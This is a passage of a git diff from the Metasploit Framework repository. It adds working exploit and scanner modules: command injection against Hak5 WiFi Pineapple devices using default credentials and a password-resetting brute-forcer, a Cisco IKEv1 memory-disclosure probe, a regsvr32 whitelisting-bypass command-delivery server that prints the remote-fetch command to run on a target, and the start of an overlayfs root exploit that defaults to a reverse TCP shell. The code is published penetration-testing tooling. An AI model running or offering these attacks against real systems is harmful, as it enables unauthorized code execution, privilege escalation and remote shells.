+ port = match['portinfo']['port']
+
+ report_service(:host => host, :port => port)
+ print_good("Host: #{host} ,PORT: #{port}")
+ end
+ end
+
+ def parse_web_records(records)
+ records.each do |match|
+ host = match['ip'][0]
+ domains = match['domains']
+
+ report_host(:host => host)
+ print_good("Host: #{host}, Domains: #{domains}")
+ end
+ end
+
+ def run
+ # check to ensure api.zoomeye.org is resolvable
+ unless zoomeye_resolvable?
+ print_error("Unable to resolve api.zoomeye.org")
+ return
+ end
+
+ @zoomeye_token = login(datastore['USERNAME'], datastore['PASSWORD'])
+ if @zoomeye_token.blank?
+ print_error("Unable to login api.zoomeye.org")
+ return
+ end
+
+ # create ZoomEye request parameters
+ dork = datastore['ZOOMEYE_DORK']
+ resource = datastore['RESOURCE']
+ page = 1
+ maxpage = datastore['MAXPAGE']
+
+ # scroll max pages from ZoomEye
+ while page <= maxpage
+ print_status("ZoomEye #{resource} Search: #{dork} - page: #{page}")
+ results = dork_search(dork, resource, page) if dork
+ break unless match_records?(results)
+
+ matches = results['matches']
+ if resource.include?('web')
+ parse_web_records(matches)
+ else
+ parse_host_records(matches)
+ end
+ page += 1
+ end
+ end
+end
diff --git a/modules/auxiliary/scanner/discovery/udp_probe.rb b/modules/auxiliary/scanner/discovery/udp_probe.rb
index 95363cd2b8..8523d67b03 100644
--- a/modules/auxiliary/scanner/discovery/udp_probe.rb
+++ b/modules/auxiliary/scanner/discovery/udp_probe.rb
@@ -11,6 +11,9 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
+ include Msf::Module::Deprecated
+
+ deprecated(Date.new(2016, 11, 23), 'auxiliary/scanner/discovery/udp_sweep')
def initialize
super(
diff --git a/modules/auxiliary/scanner/http/http_put.rb b/modules/auxiliary/scanner/http/http_put.rb
index 5bcc5160d5..ae076e5169 100644
--- a/modules/auxiliary/scanner/http/http_put.rb
+++ b/modules/auxiliary/scanner/http/http_put.rb
@@ -54,7 +54,7 @@ class MetasploitModule < Msf::Auxiliary
# Send a normal HTTP request and see if we successfully uploaded or deleted a file.
# If successful, return true, otherwise false.
#
- def file_exists(path, data)
+ def file_exists(path, data, ip)
begin
res = send_request_cgi(
{
@@ -65,7 +65,7 @@ class MetasploitModule < Msf::Auxiliary
}, 20
).to_s
rescue ::Exception => e
- print_error("Error: #{e.to_s}")
+ print_error("#{ip}: Error: #{e.to_s}")
return nil
end
@@ -75,7 +75,7 @@ class MetasploitModule < Msf::Auxiliary
#
# Do a PUT request to the server. Function returns the HTTP response.
#
- def do_put(path, data)
+ def do_put(path, data, ip)
begin
res = send_request_cgi(
{
@@ -86,7 +86,7 @@ class MetasploitModule < Msf::Auxiliary
}, 20
)
rescue ::Exception => e
- print_error("Error: #{e.to_s}")
+ print_error("#{ip}: Error: #{e.to_s}")
return nil
end
@@ -96,7 +96,7 @@ class MetasploitModule < Msf::Auxiliary
#
# Do a DELETE request. Function returns the HTTP response.
#
- def do_delete(path)
+ def do_delete(path, ip)
begin
res = send_request_cgi(
{
@@ -106,7 +106,7 @@ class MetasploitModule < Msf::Auxiliary
}, 20
)
rescue ::Exception => e
- print_error("Error: #{e.to_s}")
+ print_error("#{ip}: Error: #{e.to_s}")
return nil
end
@@ -135,11 +135,11 @@ class MetasploitModule < Msf::Auxiliary
end
# Upload file
- res = do_put(path, data)
- vprint_status("Reply: #{res.code.to_s}") if not res.nil?
+ res = do_put(path, data, ip)
+ vprint_status("#{ip}: Reply: #{res.code.to_s}") if not res.nil?
# Check file
- if not res.nil? and file_exists(path, data)
+ if not res.nil? and file_exists(path, data, ip)
turl = "#{(ssl ? 'https' : 'http')}://#{ip}:#{rport}#{path}"
print_good("File uploaded: #{turl}")
report_vuln(
@@ -152,7 +152,7 @@ class MetasploitModule < Msf::Auxiliary
:exploited_at => Time.now.utc
)
else
- print_error("File doesn't seem to exist. The upload probably failed.")
+ print_error("#{ip}: File doesn't seem to exist. The upload probably failed.")
end
when 'DELETE'
@@ -160,18 +160,18 @@ class MetasploitModule < Msf::Auxiliary
if path !~ /(.+\.\w+)$/
print_error("You must supply a filename")
return
- elsif not file_exists(path, data)
+ elsif not file_exists(path, data, ip)
print_error("File is already gone. Will not continue DELETE")
return
end
# Delete our file
- res = do_delete(path)
- vprint_status("Reply: #{res.code.to_s}") if not res.nil?
+ res = do_delete(path, ip)
+ vprint_status("#{ip}: Reply: #{res.code.to_s}") if not res.nil?
# Check if DELETE was successful
- if res.nil? or file_exists(path, data)
- print_error("DELETE failed. File is still there.")
+ if res.nil? or file_exists(path, data, ip)
+ print_error("#{ip}: DELETE failed. File is still there.")
else
turl = "#{(ssl ? 'https' : 'http')}://#{ip}:#{rport}#{path}"
print_good("File deleted: #{turl}")
diff --git a/modules/auxiliary/scanner/ike/cisco_ike_benigncertain.rb b/modules/auxiliary/scanner/ike/cisco_ike_benigncertain.rb
new file mode 100644
index 0000000000..c5d8369a85
--- /dev/null
+++ b/modules/auxiliary/scanner/ike/cisco_ike_benigncertain.rb
@@ -0,0 +1,100 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Auxiliary
+
+ include Msf::Auxiliary::Scanner
+ include Msf::Auxiliary::Report
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Cisco IKE Information Disclosure',
+ 'Description' => %q{
+ A vulnerability in Internet Key Exchange version 1 (IKEv1) packet
+ processing code in Cisco IOS, Cisco IOS XE, and Cisco IOS XR Software
+ could allow an unauthenticated, remote attacker to retrieve memory
+ contents, which could lead to the disclosure of confidential information.
+
+ The vulnerability is due to insufficient condition checks in the part
+ of the code that handles IKEv1 security negotiation requests.
+ An attacker could exploit this vulnerability by sending a crafted IKEv1
+ packet to an affected device configured to accept IKEv1 security
+ negotiation requests. A successful exploit could allow the attacker
+ to retrieve memory contents, which could lead to the disclosure of
+ confidential information.
+ },
+ 'Author' => [ 'Nixawk' ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ [ 'CVE', '2016-6415' ],
+ [ 'URL', 'https://github.com/adamcaudill/EquationGroupLeak/tree/master/Firewall/TOOLS/BenignCertain/benigncertain-v1110' ],
+ [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160916-ikev1' ],
+ [ 'URL', 'https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-6415' ],
+ [ 'URL', 'https://musalbas.com/2016/08/18/equation-group-benigncertain.html' ]
+ ],
+ 'DisclosureDate' => 'Sep 29 2016'
+ ))
+
+ register_options(
+ [
+ Opt::RPORT(500),
+ OptPath.new('PACKETFILE',
+ [ true, 'The ISAKMP packet file', File.join(Msf::Config.data_directory, 'exploits', 'cve-2016-6415', 'sendpacket.raw') ])
+ ], self.class)
+ end
+
+ def run_host(ip)
+ begin
+ isakmp_pkt = File.read(datastore['PACKETFILE'])
+ peer = "#{ip}:#{datastore['RPORT']}"
+
+ udp_sock = Rex::Socket::Udp.create(
+ {
+ 'Context' => { 'Msf' => framework, 'MsfExploit' => self }
+ }
+ )
+
+ add_socket(udp_sock)
+
+ udp_sock.sendto(isakmp_pkt, ip, datastore['RPORT'].to_i)
+ res = udp_sock.get(3)
+ return unless res && res.length > 36 # ISAKMP + 36 -> Notitication Data...
+
+ # Convert non-printable characters to periods
+ printable_data = res.gsub(/[^[:print:]]/, '.')
+
+ # Show abbreviated data
+ vprint_status("Printable info leaked:\n#{printable_data}")
+
+ chars = res.unpack('C*')
+ len = (chars[30].to_s(16) + chars[31].to_s(16)).hex
+
+ return if len <= 0
+ print_good("#{peer} - IKE response with leak")
+ report_vuln({
+ :host => ip,
+ :port => datastore['RPORT'],
+ :proto => 'udp',
+ :name => self.name,
+ :refs => self.references,
+ :info => "Vulnerable to Cisco IKE Information Disclosure"
+ })
+
+ # NETWORK may return the same packet data.
+ return if res.length < 2500
+ pkt_md5 = ::Rex::Text.md5(isakmp_pkt[isakmp_pkt.length-2500, isakmp_pkt.length])
+ res_md5 = ::Rex::Text.md5(res[res.length-2500, res.length])
+
+ print_warning("#{peer} - IKE response is same to payload data") if pkt_md5 == res_md5
+ rescue
+ ensure
+ udp_sock.close
+ end
+ end
+
+end
diff --git a/modules/auxiliary/scanner/oracle/tnspoison_checker.rb b/modules/auxiliary/scanner/oracle/tnspoison_checker.rb
index 8131bfd828..6ef85885fc 100644
--- a/modules/auxiliary/scanner/oracle/tnspoison_checker.rb
+++ b/modules/auxiliary/scanner/oracle/tnspoison_checker.rb
@@ -42,22 +42,21 @@ class MetasploitModule < Msf::Auxiliary
send_packet = tns_packet("(CONNECT_DATA=(COMMAND=service_register_NSGR))")
sock.put(send_packet)
packet = sock.read(100)
- if packet != nil
- hex_packet = Rex::Text.to_hex(packet, prefix = ':')
- split_hex = hex_packet.split(":")
- find_packet = /\(ERROR_STACK=\(ERROR=/ === packet
- #find_packet == true ? print_error("#{ip}:#{rport} is not vulnerable ") : print_good("#{ip}:#{rport} is vulnerable")
- if find_packet == true #TNS Packet returned ERROR
- print_error("#{ip}:#{rport} is not vulnerable")
- elsif split_hex[5] == "02" #TNS Packet Type: ACCEPT
- print_good("#{ip}:#{rport} is vulnerable")
- elsif split_hex[5] == "04" #TNS Packet Type: REFUSE
- print_error("#{ip}:#{rport} is not vulnerable")
- else #All other TNS packet types or non-TNS packet type response cannot guarantee vulnerability
- print_error("#{ip}:#{rport} might not be vulnerable")
- end
- else
+ if packet
+ hex_packet = Rex::Text.to_hex(packet, ':')
+ split_hex = hex_packet.split(':')
+ find_packet = /\(ERROR_STACK=\(ERROR=/ === packet
+ if find_packet == true #TNS Packet returned ERROR
print_error("#{ip}:#{rport} is not vulnerable")
+ elsif split_hex[5] == '02' #TNS Packet Type: ACCEPT
+ print_good("#{ip}:#{rport} is vulnerable")
+ elsif split_hex[5] == '04' #TNS Packet Type: REFUSE
+ print_error("#{ip}:#{rport} is not vulnerable")
+ else #All other TNS packet types or non-TNS packet type response cannot guarantee vulnerability
+ print_error("#{ip}:#{rport} might not be vulnerable")
+ end
+ else
+ print_error("#{ip}:#{rport} is not vulnerable")
end
# TODO: Module should report_vuln if this finding is solid.
rescue ::Rex::ConnectionError, ::Errno::EPIPE
diff --git a/modules/auxiliary/scanner/smb/smb_version.rb b/modules/auxiliary/scanner/smb/smb_version.rb
index 82be9a34fd..da99af59a9 100644
--- a/modules/auxiliary/scanner/smb/smb_version.rb
+++ b/modules/auxiliary/scanner/smb/smb_version.rb
@@ -108,7 +108,23 @@ class MetasploitModule < Msf::Auxiliary
end
if simple.client.default_domain
- desc << " (domain:#{simple.client.default_domain})"
+ if simple.client.default_domain.encoding.name == "UTF-8"
+ desc << " (domain:#{simple.client.default_domain})"
+ else
+ # Workgroup names are in ANSI, but may contain invalid characters
+ # Go through each char and convert/check
+ temp_workgroup = simple.client.default_domain.dup
+ desc << " (workgroup:"
+ temp_workgroup.each_char do |i|
+ begin
+ desc << i.encode("UTF-8")
+ rescue Encoding::UndefinedConversionError => e
+ desc << '?'
+ print_error("Found incompatible (non-ANSI) character in Workgroup name. Replaced with '?'")
+ end
+ end
+ desc << " )"
+ end
conf[:SMBDomain] = simple.client.default_domain
match_conf['host.domain'] = conf[:SMBDomain]
end
diff --git a/modules/auxiliary/scanner/udp/udp_amplification.rb b/modules/auxiliary/scanner/udp/udp_amplification.rb
new file mode 100644
index 0000000000..35e43c0498
--- /dev/null
+++ b/modules/auxiliary/scanner/udp/udp_amplification.rb
@@ -0,0 +1,83 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Auxiliary
+ include Msf::Auxiliary::DRDoS
+ include Msf::Auxiliary::Report
+ include Msf::Auxiliary::UDPScanner
+
+ def initialize
+ super(
+ 'Name' => 'UDP Amplification Scanner',
+ 'Description' => 'Detect UDP endpoints with UDP amplification vulnerabilities',
+ 'Author' => 'Jon Hart ',
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ ['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-017A']
+ ]
+ )
+
+ register_options(
+ [
+ OptString.new('PORTS', [true, 'Ports to probe']),
+ OptString.new('PROBE', [false, 'UDP payload/probe to send. Unset for an empty UDP datagram, or the `file://` resource to get content from a local file'])
+ ]
+ )
+
+ # RPORT is unused in this scanner module because it supports multiple ports
+ deregister_options('RPORT')
+ end
+
+ def setup
+ super
+
+ unless (@ports = Rex::Socket.portspec_crack(datastore['PORTS']))
+ fail_with(Failure::BadConfig, "Unable to extract list of ports from #{datastore['PORTS']}")
+ end
+
+ @probe = datastore['PROBE'] ? datastore['PROBE'] : ''
+ end
+
+ def scanner_prescan(batch)
+ print_status("Sending #{@probe.length}-byte probes to #{@ports.length} port(s) on #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
+ @results ||= {}
+ end
+
+ def scan_host(ip)
+ @ports.each do |port|
+ scanner_send(@probe, ip, port)
+ end
+ end
+
+ # Called for each response packet, overriding UDPScanner's so that we can
+ # store all responses on a per-host, per-port basis
+ def scanner_process(data, shost, sport)
+ @results[shost] ||= {}
+ @results[shost][sport] ||= []
+ @results[shost][sport] << data
+ end
+
+ def scanner_postscan(batch)
+ batch.each do |shost|
+ next unless @results.key?(shost)
+ @results[shost].each_pair do |sport, responses|
+ report_service(host: shost, port: sport, proto: 'udp', info: responses.inspect, state: 'open')
+ vulnerable, proof = prove_amplification(@probe => responses)
+ next unless vulnerable
+ print_good("#{shost}:#{sport} - susceptible to UDP amplification: #{proof}")
+ report_vuln(
+ host: shost,
+ port: sport,
+ proto: 'udp',
+ name: 'UDP amplification',
+ refs: references
+ )
+ end
+ end
+ end
+end
diff --git a/modules/auxiliary/scanner/x11/open_x11.rb b/modules/auxiliary/scanner/x11/open_x11.rb
index 1ca3590286..a13811d28b 100644
--- a/modules/auxiliary/scanner/x11/open_x11.rb
+++ b/modules/auxiliary/scanner/x11/open_x11.rb
@@ -56,7 +56,7 @@ class MetasploitModule < Msf::Auxiliary
if(success == 1)
vendor_len = response[24,2].unpack('v')[0]
vendor = response[40,vendor_len].unpack('A*')[0]
- print_status("#{ip} Open X Server (#{vendor})")
+ print_good("#{ip} Open X Server (#{vendor})")
# Add Report
report_note(
:host => ip,
@@ -67,7 +67,7 @@ class MetasploitModule < Msf::Auxiliary
:data => "Open X Server (#{vendor})"
)
elsif (success == 0)
- print_status("#{ip} Access Denied")
+ print_error("#{ip} Access Denied")
else
# X can return a reason for auth failure but we don't really care for this
end
diff --git a/modules/auxiliary/server/regsvr32_command_delivery_server.rb b/modules/auxiliary/server/regsvr32_command_delivery_server.rb
new file mode 100644
index 0000000000..f49190415b
--- /dev/null
+++ b/modules/auxiliary/server/regsvr32_command_delivery_server.rb
@@ -0,0 +1,71 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpServer
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Regsvr32.exe (.sct) Command Delivery Server',
+ 'Description' => %q(
+ This module uses the Regsvr32.exe Application Whitelisting Bypass technique as a way to run a command on
+ a target system. The major advantage of this technique is that you can execute a static command on the target
+ system and dynamically and remotely change the command that will actually run (by changing the value of CMD).
+ This is useful when combined with persistence methods (e.g., a recurring scheduled task) or when flexibility
+ is needed through the use of a single command (e.g., as Rubber Ducky payload).
+ ),
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
+ 'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee)
+ 'Trenton Ivey', # MSF Module (kn0)
+ 'mubix', # Auxiliary module idea
+ ],
+ 'References' =>
+ [
+ ['URL', 'http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html']
+ ]
+ ))
+
+ register_options(
+ [
+ OptString.new('CMD',[false, 'The command to execute',''])
+ ])
+ end
+
+
+ def run
+ exploit
+ end
+
+
+ def primer
+ print_status("Run the following command on the target machine:")
+ print_line("regsvr32 /s /n /u /i:#{get_uri} scrobj.dll")
+ end
+
+ def on_request_uri(cli, _request)
+ print_status("Handling request from #{cli.peerhost}")
+ data = gen_sct_file(datastore['CMD'])
+ send_response(cli, data, 'Content-Type' => 'text/plain')
+ end
+
+
+ def rand_class_id
+ "#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
+ end
+
+
+ def gen_sct_file(command)
+ # If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error).
+ if command == ''
+ return %{}
+ # If a command is provided, tell the target system to execute it.
+ else
+ return %{}
+ end
+ end
+end
diff --git a/modules/exploits/linux/http/pineapple_bypass_cmdinject.rb b/modules/exploits/linux/http/pineapple_bypass_cmdinject.rb
new file mode 100644
index 0000000000..a0212be7e7
--- /dev/null
+++ b/modules/exploits/linux/http/pineapple_bypass_cmdinject.rb
@@ -0,0 +1,107 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::HttpClient
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Hak5 WiFi Pineapple Preconfiguration Command Injection',
+ 'Description' => %q{
+ This module exploits a login/csrf check bypass vulnerability on WiFi Pineapples version 2.0 <= pineapple < 2.4.
+ These devices may typically be identified by their SSID beacons of 'Pineapple5_....';
+ Provided as part of the TospoVirus workshop at DEFCON23.
+ },
+ 'Author' => ['catatonicprime'],
+ 'License' => MSF_LICENSE,
+ 'References' => [ ],
+ 'Platform' => ['unix'],
+ 'Arch' => ARCH_CMD,
+ 'Privileged' => false,
+ 'Payload' => {
+ 'Space' => 2048,
+ 'DisableNops' => true,
+ 'Compat' =>
+ {
+ 'PayloadType' => 'cmd',
+ 'RequiredCmd' => 'generic python netcat telnet'
+ }
+ },
+ 'Targets' =>
+ [
+ [ 'WiFi Pineapple 2.0.0 - 2.3.0', {} ]
+ ],
+ 'DefaultTarget' => 0,
+ 'DisclosureDate' => 'Aug 1 2015'))
+
+ register_options(
+ [
+ OptString.new('TARGETURI', [ true, 'Path to the command injection', '/components/system/configuration/functions.php' ]),
+ Opt::RPORT(1471),
+ Opt::RHOST('172.16.42.1')
+ ]
+ )
+
+ deregister_options(
+ 'ContextInformationFile',
+ 'DOMAIN',
+ 'DigestAuthIIS',
+ 'EnableContextEncoding',
+ 'FingerprintCheck',
+ 'HttpClientTimeout',
+ 'NTLM::SendLM',
+ 'NTLM::SendNTLM',
+ 'NTLM::SendSPN',
+ 'NTLM::UseLMKey',
+ 'NTLM::UseNTLM2_session',
+ 'NTLM::UseNTLMv2',
+ 'SSL',
+ 'SSLVersion',
+ 'VERBOSE',
+ 'WORKSPACE',
+ 'WfsDelay',
+ 'Proxies',
+ 'VHOST'
+ )
+ end
+
+ def cmd_uri
+ normalize_uri('includes', 'css', 'styles.php', '../../..', target_uri.path)
+ end
+
+ def cmd_inject(cmd)
+ res = send_request_cgi(
+ 'method' => 'POST',
+ 'uri' => cmd_uri,
+ 'vars_get' => {
+ 'execute' => "" # Presence triggers command execution
+ },
+ 'vars_post' => {
+ 'commands' => cmd
+ })
+ res
+ end
+
+ def check
+ res = cmd_inject("echo")
+ if res && res.code == 200 && res.body =~ /Executing/
+ return Exploit::CheckCode::Vulnerable
+ end
+ Exploit::CheckCode::Safe
+ end
+
+ def exploit
+ print_status('Attempting to bypass login/csrf checks...')
+ unless check
+ fail_with(Failure::NoAccess, 'Failed to bypass login/csrf check...')
+ end
+ print_status('Executing payload...')
+ cmd_inject("#{payload.encoded}")
+ end
+end
diff --git a/modules/exploits/linux/http/pineapple_preconfig_cmdinject.rb b/modules/exploits/linux/http/pineapple_preconfig_cmdinject.rb
new file mode 100644
index 0000000000..bc7c541660
--- /dev/null
+++ b/modules/exploits/linux/http/pineapple_preconfig_cmdinject.rb
@@ -0,0 +1,262 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::HttpClient
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Hak5 WiFi Pineapple Preconfiguration Command Injection',
+ 'Description' => %q{
+ This module exploits a command injection vulnerability on WiFi Pineapples version 2.0 <= pineapple < 2.4.
+ We use a combination of default credentials with a weakness in the anti-csrf generation to achieve
+ command injection on fresh pineapple devices prior to configuration. Additionally if default credentials fail,
+ you can enable a brute force solver for the proof-of-ownership challenge. This will reset the password to a
+ known password if successful and may interrupt the user experience. These devices may typically be identified
+ by their SSID beacons of 'Pineapple5_....'; details derived from the TospoVirus, a WiFi Pineapple infecting
+ worm.
+ },
+ 'Author' => ['catatonicprime'],
+ 'License' => MSF_LICENSE,
+ 'References' => [[ 'CVE', '2015-4624' ]],
+ 'Platform' => ['unix'],
+ 'Arch' => ARCH_CMD,
+ 'Privileged' => false,
+ 'Payload' => {
+ 'Space' => 2048,
+ 'DisableNops' => true,
+ 'Compat' => {
+ 'PayloadType' => 'cmd',
+ 'RequiredCmd' => 'generic python netcat telnet'
+ }
+ },
+ 'Targets' => [[ 'WiFi Pineapple 2.0.0 - 2.3.0', {}]],
+ 'DefaultTarget' => 0,
+ 'DisclosureDate' => 'Aug 1 2015'
+ ))
+
+ register_options(
+ [
+ OptString.new('USERNAME', [ true, 'The username to use for login', 'root' ]),
+ OptString.new('PASSWORD', [ true, 'The password to use for login', 'pineapplesareyummy' ]),
+ OptString.new('PHPSESSID', [ true, 'PHPSESSID to use for attack', 'tospovirus' ]),
+ OptString.new('TARGETURI', [ true, 'Path to the command injection', '/components/system/configuration/functions.php' ]),
+ Opt::RPORT(1471),
+ Opt::RHOST('172.16.42.1')
+ ]
+ )
+ register_advanced_options(
+ [
+ OptBool.new('BruteForce', [ false, 'When true, attempts to solve LED puzzle after login failure', false ]),
+ OptInt.new('BruteForceTries', [ false, 'Number of tries to solve LED puzzle, 0 -> infinite', 0 ])
+ ]
+ )
+
+ deregister_options(
+ 'ContextInformationFile',
+ 'DOMAIN',
+ 'DigestAuthIIS',
+ 'EnableContextEncoding',
+ 'FingerprintCheck',
+ 'HttpClientTimeout',
+ 'NTLM::SendLM',
+ 'NTLM::SendNTLM',
+ 'NTLM::SendSPN',
+ 'NTLM::UseLMKey',
+ 'NTLM::UseNTLM2_session',
+ 'NTLM::UseNTLMv2',
+ 'SSL',
+ 'SSLVersion',
+ 'VERBOSE',
+ 'WORKSPACE',
+ 'WfsDelay',
+ 'Proxies',
+ 'VHOST'
+ )
+ end
+
+ def login_uri
+ normalize_uri('includes', 'api', 'login.php')
+ end
+
+ def brute_uri
+ normalize_uri("/?action=verify_pineapple")
+ end
+
+ def set_password_uri
+ normalize_uri("/?action=set_password")
+ end
+
+ def phpsessid
+ datastore['PHPSESSID']
+ end
+
+ def username
+ datastore['USERNAME']
+ end
+
+ def password
+ datastore['PASSWORD']
+ end
+
+ def cookie
+ "PHPSESSID=#{phpsessid}"
+ end
+
+ def csrf_token
+ Digest::SHA1.hexdigest datastore['PHPSESSID']
+ end
+
+ def use_brute
+ datastore['BruteForce']
+ end
+
+ def use_brute_tries
+ datastore['BruteForceTries']
+ end
+
+ def login
+ # Create a request to login with the specified credentials.
+ res = send_request_cgi(
+ 'method' => 'POST',
+ 'uri' => login_uri,
+ 'vars_post' => {
+ 'username' => username,
+ 'password' => password,
+ 'login' => "" # Merely indicates to the pineapple that we'd like to login.
+ },
+ 'headers' => {
+ 'Cookie' => cookie
+ }
+ )
+
+ return nil unless res
+
+ # Successful logins in preconfig pineapples include a 302 to redirect you to the "please config this device" pages
+ return res if res.code == 302 && (res.body !~ /invalid username/)
+
+ # Already logged in message in preconfig pineapples are 200 and "Invalid CSRF" - which also indicates a success
+ return res if res.code == 200 && (res.body =~ /Invalid CSRF/)
+
+ nil
+ end
+
+ def cmd_inject(cmd)
+ res = send_request_cgi(
+ 'method' => 'POST',
+ 'uri' => target_uri.path,
+ 'cookie' => cookie,
+ 'vars_get' => {
+ 'execute' => "" # Presence triggers command execution
+ },
+ 'vars_post' => {
+ '_csrfToken' => csrf_token,
+ 'commands' => cmd
+ }
+ )
+
+ res
+ end
+
+ def brute_force
+ print_status('Beginning brute forcing...')
+ # Attempt to get a new session cookie with an LED puzzle tied to it.
+ res = send_request_cgi(
+ 'method' => 'GET',
+ 'uri' => brute_uri
+ )
+
+ # Confirm the response indicates there is a puzzle to be solved.
+ if !res || !(res.code == 200) || res.body !~ /own this pineapple/
+ print_status('Brute forcing not available...')
+ return nil
+ end
+
+ cookies = res.get_cookies
+ counter = 0
+ while use_brute_tries.zero? || counter < use_brute_tries
+ print_status("Try #{counter}...") if (counter % 5).zero?
+ counter += 1
+ res = send_request_cgi(
+ 'method' => 'POST',
+ 'uri' => brute_uri,
+ 'cookie' => cookies,
+ 'vars_post' => {
+ 'green' => 'on',
+ 'amber' => 'on',
+ 'blue' => 'on',
+ 'red' => 'on',
+ 'verify_pineapple' => 'Continue'
+ }
+ )
+
+ if res && res.code == 200 && res.body =~ /set_password/
+ print_status('Successfully solved puzzle!')
+ return write_password(cookies)
+ end
+ end
+ print_warning("Failed to brute force puzzle in #{counter} tries...")
+ nil
+ end
+
+ def write_password(cookies)
+ print_status("Attempting to set password to: #{password}")
+ res = send_request_cgi(
+ 'method' => 'POST',
+ 'uri' => set_password_uri,
+ 'cookie' => cookies,
+ 'vars_post' => {
+ 'password' => password,
+ 'password2' => password,
+ 'eula' => 1,
+ 'sw_license' => 1,
+ 'set_password' => 'Set Password'
+ }
+ )
+ if res && res.code == 200 && res.body =~ /success/
+ print_status('Successfully set password!')
+ return res
+ end
+ print_warning('Failed to set password')
+
+ nil
+ end
+
+ def check
+ loggedin = login
+ unless loggedin
+ brutecheck = send_request_cgi(
+ 'method' => 'GET',
+ 'uri' => brute_uri
+ )
+ return Exploit::CheckCode::Safe if !brutecheck || !brutecheck.code == 200 || brutecheck.body !~ /own this pineapple/
+ return Exploit::CheckCode::Vulnerable
+ end
+
+ cmd_success = cmd_inject("echo")
+ return Exploit::CheckCode::Vulnerable if cmd_success && cmdSuccess.code == 200 && cmd_success.body =~ /Executing/
+
+ Exploit::CheckCode::Safe
+ end
+
+ def exploit
+ print_status('Logging in with credentials...')
+ loggedin = login
+ if !loggedin && use_brute
+ brute_force
+ loggedin = login
+ end
+ unless loggedin
+ fail_with(Failure::NoAccess, "Failed to login PHPSESSID #{phpsessid} with #{username}:#{password}")
+ end
+
+ print_status('Executing payload...')
+ cmd_inject("#{payload.encoded}")
+ end
+end
diff --git a/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb b/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb
index e3ec94f6bd..e3b5f0c40b 100644
--- a/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb
+++ b/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb
@@ -87,7 +87,7 @@ class MetasploitModule < Msf::Exploit::Remote
headers = res.to_s
# validate headers
- if headers.incude?('X-Powered-By: PHP/5.2.13') && headers.include?('Server: lighttpd/1.4.28')
+ if headers.include?('X-Powered-By: PHP/5.2.13') && headers.include?('Server: lighttpd/1.4.28')
# and make sure that the body contains the title we'd expect
if res.body.include?('Login to BlackArmor')
return Exploit::CheckCode::Appears
diff --git a/modules/exploits/linux/local/overlayfs_priv_esc.rb b/modules/exploits/linux/local/overlayfs_priv_esc.rb
new file mode 100644
index 0000000000..ec09f3842a
--- /dev/null
+++ b/modules/exploits/linux/local/overlayfs_priv_esc.rb
@@ -0,0 +1,293 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require "msf/core"
+
+class MetasploitModule < Msf::Exploit::Local
+ Rank = GoodRanking
+
+ include Msf::Post::File
+ include Msf::Exploit::EXE
+ include Msf::Exploit::FileDropper
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Overlayfs Privilege Escalation',
+ 'Description' => %q{
+ This module attempts to exploit two different CVEs related to overlayfs.
+ CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04 default) < 3.13.0-55
+ 3.16.0-25 (14.10 default) < 3.16.0-41
+ 3.19.0-18 (15.04 default) < 3.19.0-21
+ CVE-2015-8660:
+ Ubuntu:
+ 3.19.0-18 < 3.19.0-43
+ 4.2.0-18 < 4.2.0-23 (14.04.1, 15.10)
+ Fedora:
+ < 4.2.8 (vulnerable, un-tested)
+ Red Hat:
+ < 3.10.0-327 (rhel 6, vulnerable, un-tested)
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
+ 'h00die ', # Module
+ 'rebel' # Discovery
+ ],
+ 'DisclosureDate' => 'Jun 16 2015',
+ 'Platform' => [ 'linux'],
+ 'Arch' => [ ARCH_X86, ARCH_X86_64 ],
+ 'SessionTypes' => [ 'shell', 'meterpreter' ],
+ 'Targets' =>
+ [
+ [ 'CVE-2015-1328', { } ],
+ [ 'CVE-2015-8660', { } ]
+ ],
+ 'DefaultTarget' => 1,
+ 'DefaultOptions' =>
+ {
+ 'payload' => 'linux/x86/shell/reverse_tcp' # for compatibility due to the need on cve-2015-1328 to run /bin/su
+ },
+ 'References' =>
+ [
